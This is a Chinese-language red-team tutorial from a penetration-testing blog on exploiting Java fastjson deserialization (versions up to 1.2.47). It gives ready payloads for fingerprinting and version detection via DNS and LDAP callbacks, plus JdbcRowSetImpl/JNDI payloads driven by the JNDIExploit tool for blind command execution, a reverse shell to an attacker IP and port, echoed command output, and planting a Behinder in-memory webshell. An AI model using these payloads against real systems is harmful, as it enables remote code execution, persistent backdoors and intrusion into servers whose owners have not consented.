1. 首页
  2. 红队技术

fastjson漏洞简单利用

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

fastjson漏洞简单利用:

判断是否是fastjson框架:
增加key的值:

fastjson默认是不会报错的

fastjson漏洞简单利用

fastjson漏洞简单利用

输入特定的payload或者去掉花括号使它爆出异常:

这个payload比较好用,使用这个大概率也会把版本爆出来。

{"@type": "java.lang.AutoCloseable"

fastjson漏洞简单利用

判断版本:
DNS请求判断:

使用payload:

{"name":{"@type":"java.net.InetAddress","val":"dnslog.cn"}}

如果收到dns请求,则是1.2.47之前。

fastjson漏洞简单利用

["test":1] 

fastjson漏洞简单利用

延时判断:
{"name":{"u0040u0074u0079u0070u0065":"u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0043u006cu0061u0073u0073","u0076u0061u006c":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c"},"x":{"u0040u0074u0079u0070u0065":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c","u0064u0061u0074u0061u0053u006fu0075u0072u0063u0065u004eu0061u006du0065":"ldap://11.111.22.222/test111","autoCommit":true}}

使用该payload请求一个不存在dns地址,存在延迟,请求127.0.0.1,则立马返回,证明是<=1.2.47

fastjson漏洞简单利用

打法:

先来看1.2.47的payload:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
        "autoCommit": true
    }
}

这里主要讲一下利用JNDI注入工具来是实现攻击。

工具地址:

https://github.com/WhiteHSBG/JNDIExploit

启动JNDI注入工具:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip地址

fastjson漏洞简单利用

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip地址 -u

可以看到payload:

fastjson漏洞简单利用

无回显命令执行(不推荐):
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://0.0.0.0:1389/Basic/Command/cmd命令", 
        "autoCommit": true
    }
}

fastjson漏洞简单利用

成功创建

fastjson漏洞简单利用

反弹shell:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]",
"autoCommit": true
}
}

fastjson漏洞简单利用

执行命令回显:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/TomcatEcho",
"autoCommit": true
}
}

然后在数据包中添加:

cmd: whoami

fastjson漏洞简单利用

fastjson漏洞简单利用

可以看到成功执行whoami和ls命令并直接回显。

写冰蝎内存马:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://0.0.0.0:1389/Basic/TomcatMemshell3",
"autoCommit": true
}
}

内存马路径:

http://ip地址/ateam

冰蝎连接:

如图:

fastjson漏洞简单利用

fastjson漏洞简单利用

成功连接。

其他的玩法可以参考工具官方链接。

参考:

https://github.com/WhiteHSBG/JNDIExploit

https://mp.weixin.qq.com/s?search_click_id=16509277583036191289-1680749714979-6581090795&__biz=MzkzMjI1NjI3Ng==&mid=2247484332&idx=1&sn=c787dd0985156d856aad03d56a945be4&chksm=c25fccd7f52845c1e172b864dfc219dcecc9f226fb5abc64ef31178914ad9f58b7868bf6917a&scene=7#rd

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/8168.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息